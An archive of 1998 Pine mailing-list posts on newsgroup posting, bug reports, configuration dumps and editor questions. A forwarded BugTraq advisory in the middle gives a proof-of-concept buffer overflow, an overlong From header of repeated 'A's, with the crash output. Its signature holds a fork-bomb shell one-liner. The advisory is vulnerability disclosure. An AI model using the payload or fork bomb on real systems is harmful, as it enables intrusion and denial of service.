>What I'm saying is that Pine asks the question "post, mail, or both"
>twice, and it's a little sloppy the second time. In fact, if the post
>fails, I might not want to mail, because that would mean I should
>duplicate the mailing on the basis of an incorrect newgroups header alone.

You aren't being clear; I'm not following. What second time?

>That won't even work when sending to duplication-ignoring mailing lists
>like yours. I think you should let your users use BRAINS to decide when to
>post or mail, in that order, at submission time.

Uh, you aren't on any of MY mailing lists.

>The feature would be especially useful NOW, when my newsreader is LISTING
>comp.mail.pine, saying that it's invalid, and my sysadmins have the
>"news-post-without-validation" flag fixed as disabled...exporting to TIN.

Now, what are you talking about? You aren't attempting to post via NNTP?

>In the meantime, I guess I can just be notified of articles posted in
>response to mine, and I'll reply to the post. There's a considerable delay
>with moderated groups though.

Notified how? Someone forwards followups? You really are unclear on what you are
trying to do.

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From: "Adam H. Kerman" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Ignored newsgroups header.
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Well, it seems I was wrong earlier. In 3.96, when replying to Mail, you CAN get
pine to inject an article into the news stream by adding a Newsgroups header.
However, no References header will be created and you still MAY NOT add this
header in the customized-hdrs option. To add this header, you must postpone the
article, and edit mail/postponed-msgs to add it, then continue the postponed
message in pine to inject it with the header.

I also tried saving News in a mailbox, editing the file to remove the Path
header, and then replying in pine. I was NOT allowed to post a followup.

Allowing a reply to Mail to be injected into News appears to be new behavior in
3.96. I recall that 3.95 didn't behave this way.

Cool!

>From: Raja BrewHaHa <[email protected]>
>Date: Wed, 17 Jun 1998 03:13:03 -0600 (MDT)

>Pine or sendmail limits the length of each To address to 180+some characters,
>so I must use the Newsgroups header to address over about 8 groups.

If you crosspost similar or identical articles to so many newsgroups, you are
going to attract the attention of a cancelbot, and your articles will be
cancelled on numerous news servers. Generally, you should never crosspost to so
many groups; two or three at the very most.

>>>What I'm saying is that Pine asks the question "post, mail, or both"
>>>twice, and it's a little sloppy the second time. In fact, if the post
>>>fails, I might not want to mail, because that would mean I should duplicate
>>>the mailing on the basis of an incorrect newgroups header alone.

>>You aren't being clear; I'm not following. What second time?

>Post, mail, or both?...Both...
>Compose message...
>Message will be seen by thousands of readers. Really post?

>The first question belongs in place of the last, I think, and the option
>to mail as well should optionally depend on the post operation.

Are you trying to use Pine to post articles in a shell script? Pine really isn't
designed for that. You'd have to convince your news administrator that you have
a valid need to use inews directly.

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From: "Adam H. Kerman" <[email protected]>
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Subject: Re: Ignored newsgroups header.
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>From: "Adam H. Kerman" <[email protected]>
>Date: Wed, 17 Jun 1998 10:45:08 -0500 (CDT)

>Well, it seems I was wrong earlier. In 3.96, when replying to Mail, you CAN get
>pine to inject an article into the news stream by adding a Newsgroups header.
>However, no References header will be created and you still MAY NOT add this
>header in the customized-hdrs option. To add this header, you must postpone the
>article, and edit mail/postponed-msgs to add it, then continue the postponed
>message in pine to inject it with the header.

>I also tried saving News in a mailbox, editing the file to remove the Path
>header, and then replying in pine. I was NOT allowed to post a followup.

>Allowing a reply to Mail to be injected into News appears to be new behavior in
>3.96. I recall that 3.95 didn't behave this way.

>Cool!

I tried another experiment. I posted to a test group and sent a courtesy copy to
myself. The courtesy copy, of course, didn't have a Path, but it did have
References because I added it as described above.

Upon replying to the Mail message, I was allowed to post to News! Even if I
removed the References header, I was still allowed to post to News. Only when I
removed the News header was I only allowed to reply in Mail.

I tried removing various other headers: Return-Path (perhaps because it never
left my mail server), Message-ID (was it parsing for a pine message?), and
others, but I was always allowed to post a reply to News.

I don't understand the difference in behavior between this message, and replying
to an article I saved to a mailbox. In the latter case, I was only allowed to
reply to News if the Path header remained!

What is the critical header in this case?

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Oops. I should have posted the message I was testing with.

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Date: Wed, 17 Jun 1998 10:20:27 -0500 (CDT)
From: "Adam H. Kerman" <[email protected]>
Reply-To: "Adam H. Kerman" <[email protected]>
To: "Adam H. Kerman" <[email protected]>
Subject: Re: solstice
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From [email protected] Sun ??? 0 00:00:00 1970 +0000
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From: "Adam H. Kerman" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Bug (ID MQ1ZZ):
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-1630661997-655933037-898102044=:7885"
X-To: Pine Discussion Forum <[email protected]>
X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN

This message is in MIME format. The first part should be readable text,
while the remaining parts are likely unreadable without MIME-aware tools.
Send mail to [email protected] for more info.

---1630661997-655933037-898102044=:7885
Content-Type: TEXT/PLAIN; charset=US-ASCII

Sorry about the two previous blank messages. I didn't know that if I answered
"yes" to "attach current message" that you would fail to allow me to write text!

An error occurs when saving a message to a mailbox when the previous message has
no body and no blank line following the headers. The save operation Fails to
insert an additional New Line before the "[NL]From " boundary of the message
being saved. However, pine still sees the boundary, even though it's not
"[NL][NL]From "! If I read the newly-saved message and affect a flag (like open
an unread message or flag it answered), the mailbox is rewritten and not one,
but two additional New Lines are inserted before the boundary. Obviously, the
extra New Line can't cause trouble.

Please correct this bug so that whenever a message is saved to a mailbox, the
boundary is always preceded by two New Lines regardless of whether the last
message has trailing New Lines.

---1630661997-655933037-898102044=:7885
Content-Type: TEXT/PLAIN; name="config.txt"
Content-ID: <[email protected]>
Content-Description: Pine Configuration Data

Pine built Tue Dec 30 23:27:35 EST 1997 on host: porky.redhat.com
========== struct pine * ==========
ui: login = ahk, full = Adam H. Kerman
home = /home/ahk
home_dir= /home/ahk
hostname= chinet.chinet.com
localdom= chinet.com
userdom= NULL
maildom= chinet.chinet.com
cur_cntxt= mail/[]
cur_fldr= q
actual mbox= /home/ahk/mail/q
msgmap: tot=1, cur=1, del=0, hid=0, exld=0, slct=0, sort=Arrival
actual inbox= /var/spool/mail/ahk
inbox map: tot=333, cur=330, del=0, hid=0, exld=0, slct=0, sort=Arrival
term type=vt100, ttyname=/dev/ttyp4, size=24x80, speed=normal
======= Current_val options set =======
personal-name : Adam H. Kerman
user-id : ahk
nntp-server : news.wwa.com
inbox-path : inbox
folder-collections : mail/[]
: mail/zip/[]
news-collections : *{news.wwa.com/nntp}[]
default-fcc : ""
default-saved-msg-fo : saved-messages
postponed-folder : postponed-msgs
mail-directory : mail
signature-file : .signature
address-book : .addressbook
feature-list : enable-aggregate-command-set
: enable-jump-shortcut
: expanded-view-of-addressbooks
: expanded-view-of-folders
: enable-full-header-cmd
: enable-bounce-cmd
: enable-suspend
: include-text-in-reply
: save-will-advance
: news-post-without-validation
: news-read-in-newsrc-order
: delete-skips-deleted
: enable-unix-pipe-cmd
: enable-flag-cmd
: include-header-in-reply
: auto-open-next-unread
: compose-maps-delete-key-to-ctrl-d
: enable-goto-in-file-browser
: expanded-view-of-distribution-lists
: print-includes-from-line
: print-index-enabled
: quell-status-message-beeping
: select-without-confirm
: use-sender-not-x-sender
: quell-dead-letter-on-cancel
: enable-alternate-editor-cmd
: enable-background-sending
: preserve-start-stop-characters
: include-attachments-in-reply
: show-cursor
: signature-at-bottom
initial-keystroke-li : i
: w
: ^v
default-composer-hdr : To
: Cc
: Fcc
: Subject
viewer-hdrs : Resent-From
: Reply-To
: Message-ID
: References
: In-Reply-To
: To
: Resent-To
: Cc
: Resent-CC
: Bcc
: Newsgroups
: Followup-To
: Resent-Date
: Subject
: Resent-Subject
: From
: Date
saved-msg-name-rule : default-folder
fcc-name-rule : default-fcc
sort-key : Arrival
addrbook-sort-rule : fullname
goto-default-rule : most-recent-folder
speller : ispell
composer-wrap-column : 80
reply-indent-string : >
empty-header-message : Undisclosed recipients
use-only-domain-name : No
printer : attached-to-ansi
personal-print-categ : 1
standard-printer : lpr
last-time-prune-ques : 98.6
last-version-used : 3.96
bugs-fullname : Pine Developers
bugs-address : [email protected]
suggest-fullname : Pine Developers
suggest-address : [email protected]
local-fullname : Local Support
local-address : postmaster
kblock-passwd-count : 1
alt-addresses : ahk@chinet
: [email protected]
: [email protected]
: [email protected]
: [email protected]
: [email protected]
: [email protected]
: [email protected]
viewer-overlap : 2
scroll-margin : 0
status-message-delay : 0
mail-check-interval : 150
elm-style-save : no
header-in-reply : no
feature-level : sapling
old-style-reply : no
save-by-sender : no
======= Command_line_val options set =======
initial-keystroke-li : i
: w
: ^v
======= User_val options set (/home/ahk/.pinerc) =======
nntp-server : news.wwa.com
folder-collections : mail/[]
: mail/zip/[]
default-fcc : ""
feature-list : enable-aggregate-command-set
: enable-jump-shortcut
: expanded-view-of-addressbooks
: expanded-view-of-folders
: enable-full-header-cmd
: enable-bounce-cmd
: enable-suspend
: include-text-in-reply
: save-will-advance
: news-post-without-validation
: news-read-in-newsrc-order
: delete-skips-deleted
: enable-unix-pipe-cmd
: enable-flag-cmd
: include-header-in-reply
: auto-open-next-unread
: compose-maps-delete-key-to-ctrl-d
: enable-goto-in-file-browser
: expanded-view-of-distribution-lists
: print-includes-from-line
: print-index-enabled
: quell-status-message-beeping
: select-without-confirm
: use-sender-not-x-sender
: quell-dead-letter-on-cancel
: enable-alternate-editor-cmd
: enable-background-sending
: preserve-start-stop-characters
: include-attachments-in-reply
: show-cursor
: signature-at-bottom
default-composer-hdr : To
: Cc
: Fcc
: Subject
viewer-hdrs : Resent-From
: Reply-To
: Message-ID
: References
: In-Reply-To
: To
: Resent-To
: Cc
: Resent-CC
: Bcc
: Newsgroups
: Followup-To
: Resent-Date
: Subject
: Resent-Subject
: From
: Date
sort-key : Arrival
addrbook-sort-rule : fullname
goto-default-rule : most-recent-folder
speller : ispell
composer-wrap-column : 80
reply-indent-string : >
use-only-domain-name : No
printer : attached-to-ansi
personal-print-categ : 1
last-time-prune-ques : 98.6
last-version-used : 3.96
alt-addresses : ahk@chinet
: [email protected]
: [email protected]
: [email protected]
: [email protected]
: [email protected]
: [email protected]
: [email protected]
======= Global_val options set (/usr/lib/pine.conf) =======
inbox-path : inbox
default-fcc : sent-mail
default-saved-msg-fo : saved-messages
postponed-folder : postponed-msgs
mail-directory : mail
signature-file : .signature
address-book : .addressbook
saved-msg-name-rule : default-folder
fcc-name-rule : default-fcc
sort-key : arrival
addrbook-sort-rule : fullname-with-lists-last
composer-wrap-column : 74
reply-indent-string : >
empty-header-message : Undisclosed recipients
use-only-domain-name : no
printer : attached-to-ansi
standard-printer : lpr
bugs-fullname : Pine Developers
bugs-address : [email protected]
suggest-fullname : Pine Developers
suggest-address : [email protected]
local-fullname : Local Support
local-address : postmaster
kblock-passwd-count : 1
viewer-overlap : 2
scroll-margin : 0
status-message-delay : 0
mail-check-interval : 150
elm-style-save : no
header-in-reply : no
feature-level : sapling
old-style-reply : no
save-by-sender : no
======= Fixed_val options set (/usr/lib/pine.conf.fixed) =======
========== Feature settings ==========
no-allow-talk
no-assume-slow-link
no-auto-move-read-msgs
auto-open-next-unread
no-auto-zoom-after-select
no-auto-unzoom-after-apply
no-compose-cut-from-cursor
compose-maps-delete-key-to-ctrl-d
no-compose-rejects-unqualified-addrs
no-compose-send-offers-first-filter
no-compose-sets-newsgroup-without-confirm
delete-skips-deleted
no-disable-config-cmd
no-disable-default-in-bug-report
no-disable-busy-alarm
no-disable-keyboard-lock-cmd
no-disable-keymenu
no-disable-password-cmd
no-disable-update-cmd
no-disable-signature-edit-cmd
no-enable-8bit-esmtp-negotiation
no-enable-8bit-nntp-posting
enable-aggregate-command-set
enable-alternate-editor-cmd
no-enable-alternate-editor-implicitly
enable-background-sending
enable-bounce-cmd
no-enable-cruise-mode
no-enable-cruise-mode-delete
no-enable-dot-files
no-enable-dot-folders
enable-flag-cmd
no-enable-flag-screen-implicitly
enable-full-header-cmd
enable-goto-in-file-browser
no-enable-incoming-folders
enable-jump-shortcut
no-enable-mail-check-cue
no-enable-mouse-in-xterm
no-enable-newmail-in-xterm-icon
enable-suspend
no-enable-tab-completion
enable-unix-pipe-cmd
no-enable-verbose-smtp-posting
expanded-view-of-addressbooks
expanded-view-of-distribution-lists
expanded-view-of-folders
no-expunge-without-confirm
no-fcc-on-bounce
include-attachments-in-reply
include-header-in-reply
include-text-in-reply
no-news-approximates-new-status
news-post-without-validation
news-read-in-newsrc-order
no-pass-control-characters-as-is
preserve-start-stop-characters
no-print-offers-custom-cmd-prompt
print-includes-from-line
print-index-enabled
no-print-formfeed-between-messages
quell-dead-letter-on-cancel
no-quell-lock-failure-warnings
quell-status-message-beeping
no-quell-user-lookup-in-passwd-file
no-quit-without-confirm
no-reply-always-uses-reply-to
no-save-aggregates-copy-sequence
no-save-will-quote-leading-froms
no-save-will-not-delete
save-will-advance
select-without-confirm
show-cursor
no-show-selected-in-boldface
signature-at-bottom
no-single-column-folder-list
no-tab-visits-next-new-message-only
no-use-current-dir
no-use-function-keys
use-sender-not-x-sender
no-use-subshell-for-suspend
========== Latest keystrokes ==========
RETURN (0x000d)
b (0x0062)
ESC (0x001b)
[ (0x005b)
B (0x0042)
RETURN (0x000d)

---1630661997-655933037-898102044=:7885
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From [email protected] Sun ??? 0 00:00:00 1970 +0000
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Date: Wed, 17 Jun 1998 15:55:36 -0600 (MDT)
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From: Raja BrewHaHa <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Ignored newsgroups header.
In-Reply-To: <[email protected]>
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On Wed, 17 Jun 1998, Adam H. Kerman wrote:

> I also tried saving News in a mailbox, editing the file to remove the Path
> header, and then replying in pine. I was NOT allowed to post a followup.
>
> Allowing a reply to Mail to be injected into News appears to be new behavior in
> 3.96. I recall that 3.95 didn't behave this way.
>
> Cool!

The version of 3.95 I'm using allows follow-ups to e-mail with just the
insertion of a newsgroups header: ^R while cursor is in the headers. I've
noticed only recently, that it does NOT do the references at ALL.

> going to attract the attention of a cancelbot, and your articles will be

One cancelbot, it.*, includes followup-to criteria. Fascismo-bot.

> >Post, mail, or both?...Both...
> >Compose message...
> >Message will be seen by thousands of readers. Really post?
>
> >The first question belongs in place of the last, I think, and the option
> >to mail as well should optionally depend on the post operation.
>
> Are you trying to use Pine to post articles in a shell script? Pine really isn't
> designed for that. You'd have to convince your news administrator that you have
> a valid need to use inews directly.

I hav no shell account.

I don't understand why Pine can't do it. It's two questions, actually.
Post?
Mail?

I guess you COULD leave "Both" as an option (gone with the second
question). The user would be taking a risk if posting to NGs and a
listserv at the same time. This is slightly different from TIN on the
system, which checks articles before posting: not to the cancelbot or
moderator level of course.

I am the son of a TV cartoon baboon.

From [email protected] Sun ??? 0 00:00:00 1970 +0000
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Date: Wed, 17 Jun 1998 19:56:51 -0600 (MDT)
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From: Raja BrewHaHa <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Ignored newsgroups header.
In-Reply-To: <[email protected]>
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On Wed, 17 Jun 1998, Adam H. Kerman wrote:

> >On Wed, 17 Jun 1998, Adam H. Kerman wrote:
>
> >>Generally, it doesn't matter if you put in the newsgroups header or not. Pine
> >>will ignore it in Mail. Unless a Path header is present, showing the bang path
> >>route that the article took to reach your news server, you will not be allowed
> >>to post a followup article to News.

Actually, if you've read the message first, you'll have to delete Pine's
proprietary headers.

> Then you have no problem at all. Articles for moderated newsgroups are NEVER
> injected into the news stream (unless a forgery!) but are mailed to the
> moderator. So, mail it directly to the moderator's address!

Will they handle crossposting? I'd still have to put the NGs header in.

From [email protected] Sun ??? 0 00:00:00 1970 +0000
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From: "Adam H. Kerman" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Ignored newsgroups header.
In-Reply-To: <Pine.A41.3.95.980617195256.69668A-100000@fn2.freenet.edmonton.ab.ca>
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>From: Raja BrewHaHa <[email protected]>
>Date: Wed, 17 Jun 1998 19:56:51 -0600 (MDT)

>On Wed, 17 Jun 1998, Adam H. Kerman wrote:

>>Articles for moderated newsgroups are NEVER injected into the news stream
>>(unless a forgery!) but are mailed to the moderator. So, mail it directly to
>>the moderator's address!

>Will they handle crossposting? I'd still have to put the NGs header in.

If there's a moderated group in the headers, it's sent to the moderator. If
there are multiple moderated groups, it's sent to the first moderator. It's up
to the first moderator to inject it into the newsstream.

From [email protected] Sun ??? 0 00:00:00 1970 +0000
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Date: Thu, 18 Jun 1998 14:15:35 +0100
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From: Mike Brudenell <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: pinerc files
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--On Tue, Jun 16, 1998 12:59 pm -0400 Dennis Gurgul
<[email protected]> wrote:

> They were over quota. Actually, that's how we discovered it. The user
> contacted us about a quota problem. So then this happens when someone
> goes over quota? Thanks much for the tip. Dennis.

I believe this is what should NORMALLY happen (if there is plenty of space):

1. Pine tries to write new version of the preferences file.

2. Pine checks that all the bytes were successfully written out.

3. Pine renames the new version of the file over the old.

This sequence prevents you losing or truncating your live settings file if
you run out of space during the write operation (which is what would happen
if the live preference file's content were simply written over).

Of course if, at step 2, Pine discoverd it couldn't write out all the bytes
it has to decide what to do with what it HAS managed to write out. Should
it delete the (incomplete) file? Or should it leave it in situ so that the
user can try and rescue any settings they had altered from out of it?

Pine seems to adopt the latter approach.

Whilst sensible in general, it might be an idea if Pine 4.00 could stat()
the incomplete file and, if it is 0 bytes, delete it? At least this would
stop the proliferation of empty "new" files!

Cheers,

Mike Brudenell
--
The Computing Service, University of York, Heslington, York, Yo10 5DD, UK
Tel:+44-1904-433811 Fax:+44-1904-433740 http://www.york.ac.uk/~pmb1/
******* Unsolicited commercial/bulk e-mail is NOT welcome here! *******

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From: Timothy J Luoma <luomat+Lists/Unix/[email protected]>
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Subject: another remote pine vunerability (fwd from BugTraq)
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Begin forwarded message:

Approved-By: [email protected]
Message-ID: <Pine.LNX.3.96.980617164950.707A-100000@ppp2-cst105.warszawa.tpnet.pl>
Date: Wed, 17 Jun 1998 16:57:28 +0200
Reply-To: Michal Zalewski <[email protected]>
Sender: Bugtraq List <[email protected]>
From: Michal Zalewski <[email protected]>
Subject: another remote pine vunerability
To: [email protected]

Recently I found silly remote overflow in pine. It's so simple there's no
need to describe it:

From: Michal Zalewski
<lcamtuf@AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
!
!
!
!
AAAAAAAAAAAAAAAAAAAAAAAAA>

..and any attempt of reading this mail will cause:

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

It can be exploited to gain access to remote/local accounts. Fortunately,
too long headers are destroyed by sendmail during prescan (maybe there's
any way to split long line using encoding tricks):

Jun 17 16:49:24 genome sendmail[689]: QAA00689: SYSERR(root): prescan:
token too long

But other mail daemons aren't so strict - it works.

_______________________________________________________________________
Michal Zalewski [[email protected]] <= finger for pub PGP key
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]
[echo "\$0&\$0">_;chmod +x _;./_] <=------=> [tel +48 (0) 22 813 25 86]

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Hello
I wanted to use pico with an other mailer (MH) in this case
I just use it as any other editor. However, the thing I was
wondering about is that if I use pico from pine it has
ability to automatically format quoted email. That is
if I have an email quoted with ">" at beginning of each
line and then press ctrl-j to justify it, it does
automagically takes care of the ">" chars.

How do I enable this feature when MH is calling pico?
the only remotely likey option seems be "-t" but it
does not quote seems to work.

Ideas?

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From: Son of a Preacherman <[email protected]>
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I recently downloaded PCPine, and am thinking about using it as our campus
mail client. However, in our computer labs, the person using an
individual computer is never the same. The main problem with this is the
user-id and personal-name fields need to be changed every time someone
logs in. Is there a way to get these to default to the users name on our
mailserver without asking the user if that is what he or she wants to do,
and without writing it into the pinerc file each time? Thanks for your
help.

Lee Parker

_____________________________________________________________________________

"Oh gaze of love so melt my pride
that I may in your house but kneel
and in my brokenness to cry
spring worship unto thee"

--Hymn-by Jars of Clay
_____________________________________________________________________________

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From: Chris Schafer <[email protected]>
To: Pine Discussion Forum <[email protected]>
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I just wrote a little script to insert the appropriate user
information into the pinerc file upon login and the rest is history.
No, PCpine doesn't setup as nice as the UNIX version in this
situation, but I hope they will change that in the future.

Chris.

On Tue, 23 Jun 1998, Son of a Preacherman wrote:

> I recently downloaded PCPine, and am thinking about using it as our campus
> mail client. However, in our computer labs, the person using an
> individual computer is never the same. The main problem with this is the
> user-id and personal-name fields need to be changed every time someone
> logs in. Is there a way to get these to default to the users name on our
> mailserver without asking the user if that is what he or she wants to do,
> and without writing it into the pinerc file each time? Thanks for your
> help.
>
> Lee Parker
>
> _____________________________________________________________________________
>
> "Oh gaze of love so melt my pride
> that I may in your house but kneel
> and in my brokenness to cry
> spring worship unto thee"
>
> --Hymn-by Jars of Clay
> _____________________________________________________________________________
>
>
>
>
>
> -----------------------------------------------------------------
> For information about this mailing list, and its archives, see:
> http://www.washington.edu/pine/pine-info/
> -----------------------------------------------------------------
>

Christopher James Schafer
[email protected]
http://www.egr.msu.edu/~cjs
VOX:353.9769 FAX:355.7516

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Subject: Re: pico "mail" mode.
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>From: Adam Sulmicki <[email protected]>
>Date: Tue, 23 Jun 1998 18:53:52 -0400

>I wanted to use pico with an other mailer (MH) in this case I just use it as
>any other editor. However, the thing I was wondering about is that if I use
>pico from pine it has ability to automatically format quoted email. . . .

>How do I enable this feature when MH is calling pico?

The feature is unique to the pine composer. You'll notice that it isn't
available when resuming editing on a postponed message.

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Date: Tue, 23 Jun 1998 20:19:34 -0700 (Pacific Daylight Time)
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From: Terry Gray <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: PCPine
In-Reply-To: <[email protected]>
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X-To: Son of a Preacherman <[email protected]>
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If you set those variables in the pinerc to the null string (i.e. two
double quotes) then Pine will not ask the user if they want to save the
name/userid to the pinerc file, and each user will be prompted for their
own name/id for their session.

-teg

On Tue, 23 Jun 1998, Son of a Preacherman wrote:

> I recently downloaded PCPine, and am thinking about using it as our campus
> mail client. However, in our computer labs, the person using an
> individual computer is never the same. The main problem with this is the
> user-id and personal-name fields need to be changed every time someone
> logs in. Is there a way to get these to default to the users name on our
> mailserver without asking the user if that is what he or she wants to do,
> and without writing it into the pinerc file each time? Thanks for your
> help.
>
> Lee Parker

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From: Raja BrewHaHa <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: pico "mail" mode.
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On Tue, 23 Jun 1998, Adam H. Kerman wrote:

> >How do I enable this feature [quote formatting] when MH is calling pico?
>
> The feature is unique to the pine composer. You'll notice that it isn't
> available when resuming editing on a postponed message.
>

I hav access to two news-readers on this system. The threaded one's called
tin. It uses pico, so I have the same question. Is there a switch on pico
to enable ^J?

I also use pico with Lynx. When using pico with tin or Lynx, and after
hitting ^R, using [tab] to complete filenames isn't available either.
Is there a switch on pico to enable filename completion?

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From: Adam Sulmicki <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: pico "mail" mode.
In-Reply-To: Your message of "Tue, 23 Jun 1998 21:46:38 CDT."
<[email protected]>
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"Adam H. Kerman" writes:
->>From: Adam Sulmicki <[email protected]>
->>Date: Tue, 23 Jun 1998 18:53:52 -0400
->
->>I wanted to use pico with an other mailer (MH) in this case I just use it as
->>any other editor. However, the thing I was wondering about is that if I use
->>pico from pine it has ability to automatically format quoted email. . . .
->
->>How do I enable this feature when MH is calling pico?
->
->The feature is unique to the pine composer. You'll notice that it isn't
->available when resuming editing on a postponed message.

Would make sense, since I did looked into pico source and did not see
anything like this, then again I did not look too carefully.

This brings question what other Mail-aware editors are out there [1]

-Adam
[1] Emacs does not count since it is too slow to start each time
I want to send an email. It would be ok if it could run in
daemon mode in background and starting an extra emacs would
just load an extra front-end only. Unfortunatelly it is not
what emacs-client does.

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From: "Robin S. Socha" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: pico "mail" mode.
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Quoting Adam Sulmicki ([email protected]):
> "Adam H. Kerman" writes:
>>From: Adam Sulmicki <[email protected]>

> This brings question what other Mail-aware editors are out there [1]

Loads of them. At the moment, I`m using vim. It can handle almost anything,
except of course (in its default settings) your reply string. Change it.

> [1] Emacs does not count since it is too slow to start each time I want to
> send an email. It would be ok if it could run in daemon mode in background
> and starting an extra emacs would just load an extra front-end only.
> Unfortunatelly it is not what emacs-client does.

It is. You must be doing something wrong. However, if you`re using Emacs
anyway, you might as well use its built-in Mail-/Newsreader Gnus.

Robin

--
Robin S. Socha M.A.
Control Risks Germany Ltd.
<http://www.crg.com/>

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From: Raja BrewHaHa <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Tagline manager
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I've noticed a couple of posts to USENET from offline express.
That started out as a shareware FidoNet mailer. I once used it.

The thing I miss about it is the tagline manager. If you're not familiar
with taglines, they're the same as "signatures", except they're always one
line and they usually change from post to post of the same author.

That's because the author has a collection they choose from, or let the
mailer choose randomly. Currently, I crudely imitate a tagline manager
with a small collection of files that I insert after a message.

Typically, taglines are the last line, or lines of a post, and they start
with an asterisk. That lets you hit one key to steal someone's tagline,
which is often a one-liner from Star Trek, the Simpsons, or something
about being hooked on roasted, green, bitter beans.

..I write my own...Or fix someone else's...

* Articles deemed as polical propaganda, or deemed as for the sale of weapons or prostitutes will be rejected.

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From: "Robin S. Socha" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Tagline manager
In-Reply-To: <Pine.A41.3.95.980624035118.28254A-100000@fn2.freenet.edmonton.ab.ca>; from Raja BrewHaHa on Wed, Jun 24, 1998 at 04:12:41AM -0600
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Quoting Raja BrewHaHa ([email protected]):

> The thing I miss about it is the tagline manager. If you're not familiar
> with taglines, they're the same as "signatures", except they're always one
> line and they usually change from post to post of the same author.

<http://bolug.uni-bonn.de/~robin/pine-tips.html>
--
Robin S. Socha M.A.
Control Risks Germany Ltd.
<http://www.crg.com/>

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From: "Adam H. Kerman" <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: pico "mail" mode.
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Please don't send me duplicates of your replies to the list.

>From: Raja BrewHaHa <[email protected]>
>Date: Wed, 24 Jun 1998 00:35:38 -0600 (MDT)

>I hav access to two news-readers on this system. The threaded one's called
>tin. It uses pico, so I have the same question. Is there a switch on pico
>to enable ^J?

To fix the quoting in followups? No.

>I also use pico with Lynx. When using pico with tin or Lynx, and after
>hitting ^R, using [tab] to complete filenames isn't available either.
>Is there a switch on pico to enable filename completion?

No.

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From: Raja BrewHaHa <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Re: Tagline manager
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On Wed, 24 Jun 1998, Robin S. Socha wrote:

> Quoting Raja BrewHaHa ([email protected]):
>
> > The thing I miss about it is the tagline manager. If you're not familiar
> > with taglines, they're the same as "signatures", except they're always one
> > line and they usually change from post to post of the same author.
>
> <http://bolug.uni-bonn.de/~robin/pine-tips.html>

Nah...that's just the random function of a tagline manager. I didn't
use that function of my tagline manager very often.

It just wouldn't be the same as splicing into Pine's addressbook code,
especially if that code is reasonably reusable.

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From: Kitty Kwan <[email protected]>
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Subject: customised message in the mail body
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Just want to know if there are ways to include a customised message in
the body of an email message which we may distribute to our mailusers or
mailing lists.

Kitty.

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From: Arthur Snoke <[email protected]>
To: Pine Discussion Forum <[email protected]>
Subject: Extended ISO-8859-1 and Pine
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On 27 May I sent the Discussion Forum a note describing problems I, as a
new PINE user, was having with some characters which were mistranslated,
and I thought that the problem was with my configuration of pine not
handling the iso-8859-1 character set translation.

I was wrong. PINE on my sunos system handles normal iso-8859-1 fine.

But I still get some characters mistranslated, and after some sleuthing
by myself and John Berthels <[email protected]>, I think we have
an answer and that it is likely of interest to members of the list and the
authors of pine.

In the iso-8859-1 8-bit extension of US-ASCII, the first 32 character
codes (hex 80-9F) are not used. These ARE used in two "extensions" of the
8-bit character set, one is in the Windows Character Set and in the html
which is written by "Save as" to html in clarisworks (and maybe others)
and interpreted in Netscape 4 (but not Netscape 3). (HTML v3.2 also does
not use those 32 character codes, so Netscape 4 is "nonstandard" in this=20
respect unless there is a more recent "accepted" html character set).

Hence if you get mail using pine (or eudora) which was written by a
netscape 4.x mailer (or others, perhaps), you will get several characters
mistranslated. The most obvious of these is the apostrophe used in
contractions like "Physician's". Instead of being transmitted as 39
decimal (27 hex), it comes across as a curly apostrophe with the code
decimal 146 (hex 92). Here is a line from my most recent troublesome
document:=20

The Physician^=D2s Dilemma:

On my xterm window, this comes across as the character with iso-8859-1
code 210 decimal (D2 hex) -- an offset of 64 decimal (40 hex) from what I
